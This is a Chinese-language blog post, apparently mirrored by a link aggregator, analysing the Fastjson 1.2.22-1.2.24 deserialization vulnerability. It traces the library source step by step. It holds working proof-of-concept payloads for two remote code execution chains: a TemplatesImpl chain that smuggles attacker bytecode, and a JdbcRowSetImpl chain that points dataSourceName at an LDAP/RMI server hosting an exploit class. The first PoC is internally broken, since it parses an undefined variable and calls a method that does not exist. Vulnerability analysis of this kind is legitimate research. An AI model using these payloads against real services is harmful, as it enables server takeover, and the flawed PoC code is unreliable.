34

Fastjson分析系列--1.2.22-1.2.24反序列化漏洞分析

 3 years ago
source link: https://lih3iu.top/2020/09/24/Fastjson分析系列--1-2-22-1-2-24反序列化漏洞分析-1/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本文为Fastjson1.2.22-1.2.24反序列化漏洞分析。

主要利用链分为基于TemplateImpl的利用链和基于JdbcRowSetImpl的利用链

TemplateImpl利用链

PoC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_auto() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "/Users/lih3iu/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);


    }

    public static void main(String args[]){

        try {
            test();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

调用链分析

断点下在JSON.parseObject并跟进

JSON#praseObject

    public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) {
        if (input == null) {
            return null;
        } else {
            if (features != null) {
                Feature[] var6 = features;
                int var7 = features.length;

                for(int var8 = 0; var8 < var7; ++var8) {
                    Feature feature = var6[var8];
                    featureValues |= feature.mask;
                }
            }

            DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
....

            T value = parser.parseObject(clazz, (Object)null);
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

先通过传进去的feature也就是我们设置的Feature.SupportNonPublicFields生成FeatureValues并作为参数传入DefaultJSONParser类中初始化生成一个parser,然后调用parser中的parserObject来解析clazz。

DefaultJSONParser#parseObject

public <T> T parseObject(Type type, Object fieldName) {
    int token = this.lexer.token(); //token=12
    if (token == 8) {
        this.lexer.nextToken();
        return null;
    } else {
        if (token == 4) { 
            if (type == byte[].class) {
                byte[] bytes = this.lexer.bytesValue();
                this.lexer.nextToken();
                return bytes;
            }

            if (type == char[].class) {
                String strVal = this.lexer.stringVal();
                this.lexer.nextToken();
                return strVal.toCharArray();
            }
        }

        ObjectDeserializer derializer = this.config.getDeserializer(type);

        try {
            return derializer.deserialze(this, type, fieldName);
        } catch (JSONException var6) {
            throw var6;
        } catch (Throwable var7) {
            throw new JSONException(var7.getMessage(), var7);
        }
    }
}

通过getDeserializer函数或者对应类型的反序列化器,并进行反序列化

JavaObjectDeserializer#deserialze

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        if (type instanceof GenericArrayType) {
            Type componentType = ((GenericArrayType)type).getGenericComponentType();
            if (componentType instanceof TypeVariable) {
                TypeVariable<?> componentVar = (TypeVariable)componentType;
                componentType = componentVar.getBounds()[0];
            }

            List<Object> list = new ArrayList();
            parser.parseArray(componentType, list);
            if (componentType instanceof Class) {
                Class<?> componentClass = (Class)componentType;
                Object[] array = (Object[])((Object[])Array.newInstance(componentClass, list.size()));
                list.toArray(array);
                return array;
            } else {
                return list.toArray();
            }
        } else {
:arrow_right:            return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
        }
    }

由于type为Object.class类型,所以进入parse函数

DefaultJSONParser#parse

public Object parse(Object fieldName) {
    JSONLexer lexer = this.lexer;
    switch(lexer.token()) {
    ...
    case 12:
  JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
  return this.parseObject((Map)object, fieldName);

在Feature.OrderField选项关闭的情况下进入一个新的parseObject函数(返回类型为Object)

DefaultJSONParser#parseObject(return Object)

public final Object parseObject(Map object, Object fieldName) {
    JSONLexer lexer = this.lexer;            
try {
            boolean setContextFlag = false;

            while(true) {
                lexer.skipWhitespace();
                char ch = lexer.getCurrent();
                if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                    while(ch == ',') {
                        lexer.next();
                        lexer.skipWhitespace();
                        ch = lexer.getCurrent();
                    }
                }

                boolean isObjectKey = false;
                Object key;
                ParseContext contextR;
                if (ch == '"') {
                    key = lexer.scanSymbol(this.symbolTable, '"');
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                }

进行json内容解析扫描,通过skipWhitespace函数进行空格去除,然后拿到当前字符,如果是双引号的,再次通过scanSymbol函数进行解析扫描

A7JJrqZ.png!mobile

在扫描到双引号的情况下停止并返回

A7JJrqZ.png!mobile

所以我们此时得到了value为@type的key变量,再接着向下跟进

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

条件满足key并且DisableSpecialKeyDetect选项关闭,接着进行扫描,扫描下一个双引号中的内容,也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并且通过loadclass加载此类,跟进loadclass

TypeUtils#loadclass

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var5) {
            }

通过loadclass加载到目标类并返回,然后将className与clazz放入缓存mappings,这里做缓存可以更方便下次调用,避免重复的loadclass耗费资源

接着回到parseObject函数中,再次进入deserilaze函数做反序列化处理

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
 return thisObj;

JavaBeanDeserializer#deserialize

protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
.....

                                    label1013: {
                                        if (!matchField) {
                                            key = lexer.scanSymbol(parser.symbolTable);
                                            if (key == null) {
                                                token = lexer.token();
                                                if (token == 13) {
                                                    lexer.nextToken(16);
                                                    break label1013;
                                                }

                                                if (token == 16 && lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                                                    break label1068;
                                                }
                                            }

通过scanSymbol再次扫描双引号,获得_bytecode恶意代码字段,并且通过parseField函数对此字段进行解析

JavaBeanDeserializer#parseField

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer;
        FieldDeserializer fieldDeserializer = this.smartMatch(key);
        int mask = Feature.SupportNonPublicField.mask;
        if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
....
            }
        } else {
            lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
 :arrow_right:           ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
            return true;
        }
    }

再次跟进parseField函数

DefaultFieldDeseriailizer#parseField

    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
        if (this.fieldValueDeserilizer == null) {
            this.getFieldValueDeserilizer(parser.getConfig());
        }


...
        Object value;
        if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
            JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
            value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
        } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
            value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
        } else {
            value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
        }
      
 ...
   
        if (parser.getResolveStatus() == 1) {
            ResolveTask task = parser.getLastResolveTask();
            task.fieldDeserializer = this;
            task.ownerContext = parser.getContext();
            parser.setResolveStatus(0);
        } else if (object == null) {
            fieldValues.put(this.fieldInfo.name, value);
        } else {
            this.setValue(object, value);
        }

最后进入关键方法FieldDeserializer#setvalue,主要代码如下

field.set(object, value);

IjuMJnm.png!mobile

成功将_bytecodes变量设置为恶意类,接下来_outputProperties的检测同样如此

通过

Method method = this.fieldInfo.method;

检测出反序列化调用的getter进行反射调用getoutputProperties方法

跟进此方法

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

跟进newTransformer

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

...
    }

跟进getTransletInstance

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }

跟进defineTransletClasses

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

在这段代码中首先要注意下_tfactory.getExternalExtensionsMap,这里也就是为什么我们要将字段中的_tfactory设置为{}的原因,防止后续产生报错

aYbqqyf.png!mobile

将恶意类定义,并进行了父类的判断,然后再在getTransletInstance中通过newInstance函数将恶意类实例化,触发命令执行

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完整调用链如下

BjYfeqv.png!mobile

JdbcRowSetImpl利用链

PoC

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
                String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1387/Exploit\"," +
                " \"autoCommit\":true}";
       /* String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";*/
        JSON.parse(payload);
    }

}

调用链分析

前面一直到loadclass一直都是一样的,这里就不再赘述

iQBJjqb.png!mobile

反序列化解析类的过程依然是先遍历一遍属性,然后接着解析json,拿到键值

iu2mQbq.png!mobile

再跟进parseObject

JavaBeanDeserializer#parseObject

Vbi2Irv.png!mobile

接着跟进其中的parseField方法

public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
    if (this.fieldValueDeserilizer == null) {
        this.getFieldValueDeserilizer(parser.getConfig());
    }

    Type fieldType = this.fieldInfo.fieldType;
    if (objectType instanceof ParameterizedType) {
        ParseContext objContext = parser.getContext();
        if (objContext != null) {
            objContext.type = objectType;
        }

        fieldType = FieldInfo.getFieldType(this.clazz, objectType, fieldType);
        this.fieldValueDeserilizer = parser.getConfig().getDeserializer(fieldType);
    }

    Object value;
    if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
        JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer)this.fieldValueDeserilizer;
        value = javaBeanDeser.deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.parserFeatures);
    } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
        value = ((ContextObjectDeserializer)this.fieldValueDeserilizer).deserialze(parser, fieldType, this.fieldInfo.name, this.fieldInfo.format, this.fieldInfo.parserFeatures);
    } else {
        value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
    }

    if (parser.getResolveStatus() == 1) {
        ResolveTask task = parser.getLastResolveTask();
        task.fieldDeserializer = this;
        task.ownerContext = parser.getContext();
        parser.setResolveStatus(0);
    } else if (object == null) {
        fieldValues.put(this.fieldInfo.name, value);
    } else {
        this.setValue(object, value);
    }

}

熟悉的setValue反射调用method

aqQfMfM.png!mobile

跟进所反射的方法

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

跟进connect

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
:arrow_right:                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

在上面我们通过setDataSourceName函数进行了变量设置

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

所有这里变量可控,即可造成rmi/ldap注入,完成调用

总结

相比来看,TemplateImpl这条利用链是有一定的限制的,还要设置Feature.SupportNonPublicField这个条件才能触发

对于JdbcRowSetImpl这条链来讲,更多的限制体现在jdk版本的限制,在高版本下是有对rmi以及Idap注入的限制的

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191,不过如果环境本身classpath存在可利用的Gadgets,也是可以利用的。

版本的限制影响如下

7B7NFfI.jpg!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK